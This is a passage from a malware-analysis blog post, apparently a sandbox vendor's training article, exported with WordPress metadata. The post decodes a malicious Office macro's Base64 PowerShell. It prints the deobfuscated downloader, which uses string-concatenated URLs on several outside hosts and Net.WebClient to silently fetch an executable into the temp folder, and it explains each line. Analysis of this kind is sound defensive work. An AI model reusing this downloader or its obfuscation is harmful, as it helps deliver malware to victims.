https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-300x183.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-768x468.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-1536x936.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-2048x1248.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-370x225.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-270x164.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2024\/02\/10-min-740x451.png 740w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">the -e parameter is used for executing Base64-encoded commands in PowerShell&nbsp;<\/figcaption><\/figure><\/div>\n\n\n<p>And then the biggest red flag \u2014 the PowerShell call, which is base64 encoded, as indicated by the -e parameter used for executing Base64-encoded commands. This is worth looking into. Let&#8217;s decode it and see what&#8217;s inside:&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$\ufffdO\ufffdg\ufffdo\ufffdu\ufffd_\ufffd5\ufffd1\ufffd=\ufffd(\ufffd'\ufffdQ\ufffdt\ufffd7\ufffd'\ufffd+\ufffd'\ufffd1\ufffd'\ufffd+\ufffd'\ufffdt\ufffdl\ufffd5\ufffd'\ufffd)\ufffd;\ufffd.\ufffd(\ufffd'\ufffdn\ufffde\ufffd'\ufffd+\ufffd'\ufffdw\ufffd-\ufffdi\ufffd'\ufffd+\ufffd'\ufffdt\ufffde\ufffdm\ufffd'\ufffd)\ufffd \ufffd$\ufffdE\ufffdN\ufffdV\ufffd:\ufffdt\ufffdE\ufffdm\ufffdp\ufffd\\\ufffdO\ufffdF\ufffdF\ufffdI\ufffdC\ufffdE\ufffd2\ufffd0\ufffd1\ufffd9\ufffd \ufffd-\ufffdi\ufffdt\ufffde\ufffdm\ufffdt\ufffdy\ufffdp\ufffde\ufffd \ufffdD\ufffdi\ufffdR\ufffdE\ufffdc\ufffdt\ufffdo\ufffdr\ufffdY\ufffd;\ufffd&#91;\ufffdN\ufffde\ufffdt\ufffd.\ufffdS\ufffde\ufffdr\ufffdv\ufffdi\ufffdc\ufffde\ufffdP\ufffdo\ufffdi\ufffdn\ufffdt\ufffdM\ufffda\ufffdn\ufffda\ufffdg\ufffde\ufffdr\ufffd]\ufffd:\ufffd:\ufffd\"\ufffdS\ufffd`\ufffde\ufffdC\ufffdU\ufffdr\ufffdi\ufffdT\ufffdy\ufffd`\ufffdP\ufffdr\ufffdO\ufffdT\ufffd`\ufffdO\ufffdC\ufffd`\ufffdO\ufffdl\ufffd\"\ufffd \ufffd=\ufffd \ufffd(\ufffd'\ufffdt\ufffd'\ufffd+\ufffd'\ufffdl\ufffds\ufffd1\ufffd2\ufffd'\ufffd+\ufffd'\ufffd,\ufffd \ufffd'\ufffd+\ufffd'\ufffdt\ufffdl\ufffds\ufffd'\ufffd+\ufffd'\ufffd1\ufffd1\ufffd,\ufffd... <\/code><\/pre>\n\n\n\n<p>Decoding it reveals partially readable code with non-alphanumeric characters (above), which we need to clean up to make it comprehensible. Let&#8217;s further clean it:&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$Out_51 = ('Qt7'+'1'+'tl5'); \n\n.('ne'+'w-i'+'tem') $ENV:temp\\OFFICE2019 -itemtype Directory; \n\n&#91;Net.ServicePointManager]::\"SecurityProtocol\" = ('t'+'ls12'+', '+'tls'+'11, tls'); \n\n$Qakfo0q = ('Z0'+'fv3kbg'); \n\n$Brv35rs = ('E6h'+'4'+'nkn'); \n\n$Ec9w4e0 = $env:temp+(('N'+'3pO'+'ffice2019N3'+'p').\"re`Pl`AcE\"('N3p',&#91;sTring]&#91;CHAR]92))+ $Qakfo0q+('.ex'+'e'); \n\n$Z_jji3m = ('Ogp5'+'7w'+'j'); \n\n$Y7jmxz8 = &amp;('new-'+'obje'+'ct') NET.webclient; \n\n$Innewc_ = ('http'+':'+'\/\/5'+'2'+'5'+'0'+'750-5'+'6'+'-20180826151'+'45'+'3.'+'we'+'bstart'+'rz.'+'c'+'om\/sa'+'v'+'ewayexpressthai.'+'c'+'om\/j'+'n'+'ze_2o'+'3j_k\/*htt'+'p:\/\/ouba'+'ina.'+'c'+'om\/'+'w'+'p'+'-inc'+'ludes'+'\/lqkz_n'+'vr_'+'1a'+'vf4\/*htt'+'ps:\/\/'+'www.msb'+'c.'+'kz'+'\/data\/'+'k5'+'27_5'+'_cb'+'dvv5bi19\/*htt'+'p:\/\/'+'ok'+'c'+'up'+'idating.'+'c'+'om\/'+'im\/'+'fsq'+'_e'+'sj'+'_q'+'gx06'+'0p\/*'+'htt'+'p:\/\/'+'b'+'ike-nomad.'+'c'+'om\/cg'+'i-'+'b'+'i'+'n\/'+'wn_0'+'x'+'0_62m'+'nz'+'yh9q\/'); \n\n\"sP`lIt\"(&#91;char]42); \n\n$Fe8neg4 = ('Ky'+'mrw9w'); \n\nforeach($Msuonh8 in $Innewc_){try{$Y7jmxz8.\"DoW`nLoa`dFile\"($Msuonh8, $Ec9w4e0);} catch{}} \n\n$Cwio_h5 = ('E'+'6vp7vw'); \n\nbreak; \n\n$Tay50lk = ('Ph10g'+'b1')} \n\ncatch{} \n\n$U7tmnk4 = ('Yewcw'+'8'+'k') <\/code><\/pre>\n\n\n\n<p>And above is the version of the code that we can finally read and understand. Let\u2019s break it down:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>$ENV:temp\\OFFICE2019 -itemtype Directory<\/strong>: refers to the system&#8217;s temporary directory, likely aiming to place a file in a location that typically has less restrictive permissions.&nbsp;<\/li>\n\n\n\n<li><strong>[Net.ServicePointManager]::&#8221;SecurityProtocol&#8221; = (&#8216;t&#8217;+&#8217;ls12&#8217;+&#8217;, &#8216;+&#8217;tls&#8217;+&#8217;11, tls&#8217;)<\/strong>: modifies the SecurityProtocol.&nbsp;<\/li>\n\n\n\n<li><strong>&amp;(&#8216;new-&#8216;+&#8217;obje&#8217;+&#8217;ct&#8217;) NET.webclient<\/strong>: creates a WebClient object for potentially downloading malicious payloads from the internet. A major red flag.&nbsp;<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>('http'+':'+'\/\/5'+'2'+'5'+'0'+'750-5'+'6'+'-20180826151'+'45'+'3.'+'we'+'bstart'+'rz.'+'c'+'om\/sa'+'v'+'ewayexpressthai.'+'c'+'om\/j'+'n'+'ze_2o'+'3j_k\/*htt'+'p:\/\/ouba'+'ina.'+'c'+'om\/'+'w'+'p'+'-inc'+'ludes'+'\/lqkz_n'+'vr_'+'1a'+'vf4\/*htt'+'ps:\/\/'+'www.msb'+'c.'+'kz'+'\/data\/'+'k5'+'27_5'+'_cb'+'dvv5bi19\/*htt'+'p:\/\/'+'ok'+'c'+'up'+'idating.'+'c'+'om\/'+'im\/'+'fsq'+'_e'+'sj'+'_q'+'gx06'+'0p\/*'+'htt'+'p:\/\/'+'b'+'ike-nomad.'+'c'+'om\/cg'+'i-'+'b'+'i'+'n\/'+'wn_0'+'x'+'0_62m'+'nz'+'yh9q\/'); <\/code><\/pre>\n\n\n\n<p>The section above constructs URLs from concatenated strings, a technique to obscure the actual web addresses.&nbsp;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>foreach($Msuonh8 in $Innewc_){try{$Y7jmxz8.\"DoW`nLoa`dFile\"($Msuonh8, $Ec9w4e0);} catch{}} <\/code><\/pre>\n\n\n\n<p>And this part of the script attempts to download files from the constructed URLs without handling exceptions (the catch block is empty) \u2014 a typical tactic used by malicious scripts to ensure the silent download of payloads.&nbsp;<\/p>\n\n\n\n<p>The behavior above is unmistakenly that of malware.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Understanding malicious macros: conclusions&nbsp;<\/h2>\n\n\n\n<p>In the article, we talked about the dangers of macros, their types, history, and together went from encountering a macro in a malicious document to breaking down what it does in the system using ANY.RUN. Let\u2019s recap what we\u2019ve learned:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Macros are dual-use tools<\/strong>: These mini-programs that automate routine in productivity software serve both as productivity boosters and potential security threats. In the context of malware analysis, we\u2019re most concerned with macros in MS Office.&nbsp;&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>VBA and Excel 4.0<\/strong>: These scripting languages used for macros in Microsoft Office give direct access to Windows APIs, which enables exploitation by hackers.&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Macros are powerful and hard to analyze<\/strong>. Hackers exploit them to run PowerShell commands, access system data through WMI, and download files. Malicious macros are heavily obfuscated, but tools like ANY.RUN help uncover their behavior without needing to decode the obfuscation.&nbsp;&nbsp;<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>About ANY.RUN<\/strong>&nbsp;<\/h3>\n\n\n\n<p>ANY.RUN is a developer of cloud malware sandbox that handles the heavy lifting of malware analysis for SOC and DFIR teams, as well as Threat Intelligence Feeds and Threat Intelligence Lookup. Every day, 300,000 professionals use our platform to investigate incidents and streamline threat analysis.&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p><a href=\"https:\/\/app.any.run\/#register\/?utm_source=blog&amp;utm_medium=article&amp;utm_campaign=typesofmacros&amp;utm_content=linktoservice&amp;utm_term=200224\" target=\"_blank\" rel=\"noreferrer noopener\">Get started in ANY.RUN for free \u2192&nbsp;<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Macros are like mini programs within other software. They contain instructions designed to automatically perform a series of operations. Macros are especially useful for power users of productivity software who want to streamline repetitive tasks:&nbsp; When it comes to exploits, it&#8217;s particularly important to understand how macros are used in Microsoft Word.&nbsp; In this software [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":7072,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[57,10,58,40],"class_list":["post-7056","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-training","tag-anyrun","tag-cybersecurity","tag-cybersecurity-training","tag-malware-behavior"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.10 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0 - ANY.RUN&#039;s Cybersecurity Blog<\/title>\n<meta name=\"description\" content=\"Learn about types of malicious macros and how to find an obfuscated macro in a maldoc and to understand what it does.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jack Zalesskiy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\"},\"author\":{\"name\":\"Jack Zalesskiy\",\"@id\":\"https:\/\/any.run\/\"},\"headline\":\"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0\",\"datePublished\":\"2024-02-20T09:28:55+00:00\",\"dateModified\":\"2024-02-21T08:03:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\"},\"wordCount\":2183,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/any.run\/\"},\"keywords\":[\"ANYRUN\",\"cybersecurity\",\"cybersecurity training\",\"malware behavior\"],\"articleSection\":[\"Analyst Training\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\",\"url\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\",\"name\":\"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0 - ANY.RUN&#039;s Cybersecurity Blog\",\"isPartOf\":{\"@id\":\"https:\/\/any.run\/\"},\"datePublished\":\"2024-02-20T09:28:55+00:00\",\"dateModified\":\"2024-02-21T08:03:45+00:00\",\"description\":\"Learn about types of malicious macros and how to find an obfuscated macro in a maldoc and to understand what it does.\",\"breadcrumb\":{\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/any.run\/cybersecurity-blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Analyst Training\",\"item\":\"https:\/\/any.run\/cybersecurity-blog\/category\/training\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/any.run\/\",\"url\":\"https:\/\/any.run\/\",\"name\":\"ANY.RUN&#039;s Cybersecurity Blog\",\"description\":\"Cybersecurity Blog covers topics for experienced professionals as well as for those new to it.\",\"publisher\":{\"@id\":\"https:\/\/any.run\/\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/any.run\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/any.run\/\",\"name\":\"ANY.RUN\",\"url\":\"https:\/\/any.run\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/any.run\/\",\"url\":\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg\",\"contentUrl\":\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg\",\"width\":1,\"height\":1,\"caption\":\"ANY.RUN\"},\"image\":{\"@id\":\"https:\/\/any.run\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/www.any.run\/\",\"https:\/\/twitter.com\/anyrun_app\",\"https:\/\/www.linkedin.com\/company\/30692044\",\"https:\/\/www.youtube.com\/channel\/UCOgCPho7lzmH7m6fPNlukrQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/any.run\/\",\"name\":\"Jack Zalesskiy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/any.run\/\",\"url\":\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2023\/03\/image1-min-1-1-1-1.webp\",\"contentUrl\":\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2023\/03\/image1-min-1-1-1-1.webp\",\"caption\":\"Jack Zalesskiy\"},\"description\":\"Jack Zalesskiy is a technology writer with five years of experience under his belt. He closely follows malware incidents, data breaches, and the way in which cyber threats manifest in our day-to-day lives.\",\"url\":\"#molongui-disabled-link\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0 - ANY.RUN&#039;s Cybersecurity Blog","description":"Learn about types of malicious macros and how to find an obfuscated macro in a maldoc and to understand what it does.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/","twitter_misc":{"Written by":"Jack Zalesskiy","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#article","isPartOf":{"@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/"},"author":{"name":"Jack Zalesskiy","@id":"https:\/\/any.run\/"},"headline":"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0","datePublished":"2024-02-20T09:28:55+00:00","dateModified":"2024-02-21T08:03:45+00:00","mainEntityOfPage":{"@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/"},"wordCount":2183,"commentCount":0,"publisher":{"@id":"https:\/\/any.run\/"},"keywords":["ANYRUN","cybersecurity","cybersecurity training","malware behavior"],"articleSection":["Analyst Training"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/","url":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/","name":"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0 - ANY.RUN&#039;s Cybersecurity Blog","isPartOf":{"@id":"https:\/\/any.run\/"},"datePublished":"2024-02-20T09:28:55+00:00","dateModified":"2024-02-21T08:03:45+00:00","description":"Learn about types of malicious macros and how to find an obfuscated macro in a maldoc and to understand what it does.","breadcrumb":{"@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/any.run\/cybersecurity-blog\/macros-in-malware\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/any.run\/cybersecurity-blog\/"},{"@type":"ListItem","position":2,"name":"Analyst Training","item":"https:\/\/any.run\/cybersecurity-blog\/category\/training\/"},{"@type":"ListItem","position":3,"name":"Understanding Macros in Malware: Types, Capabilities, Case Study\u00a0"}]},{"@type":"WebSite","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/","name":"ANY.RUN&#039;s Cybersecurity Blog","description":"Cybersecurity Blog covers topics for experienced professionals as well as for those new to it.","publisher":{"@id":"https:\/\/any.run\/"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/any.run\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/any.run\/","name":"ANY.RUN","url":"https:\/\/any.run\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","width":1,"height":1,"caption":"ANY.RUN"},"image":{"@id":"https:\/\/any.run\/"},"sameAs":["https:\/\/www.facebook.com\/www.any.run\/","https:\/\/twitter.com\/anyrun_app","https:\/\/www.linkedin.com\/company\/30692044","https:\/\/www.youtube.com\/channel\/UCOgCPho7lzmH7m6fPNlukrQ"]},{"@type":"Person","@id":"https:\/\/any.run\/","name":"Jack Zalesskiy","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2023\/03\/image1-min-1-1-1-1.webp","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2023\/03\/image1-min-1-1-1-1.webp","caption":"Jack Zalesskiy"},"description":"Jack Zalesskiy is a technology writer with five years of experience under his belt. He closely follows malware incidents, data breaches, and the way in which cyber threats manifest in our day-to-day lives.","url":"#molongui-disabled-link"}]}},"_links":{"self":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/7056"}],"collection":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/comments?post=7056"}],"version-history":[{"count":10,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/7056\/revisions"}],"predecessor-version":[{"id":7083,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/7056\/revisions\/7083"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media\/7072"}],"wp:attachment":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media?parent=7056"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/categories?post=7056"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/tags?post=7056"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}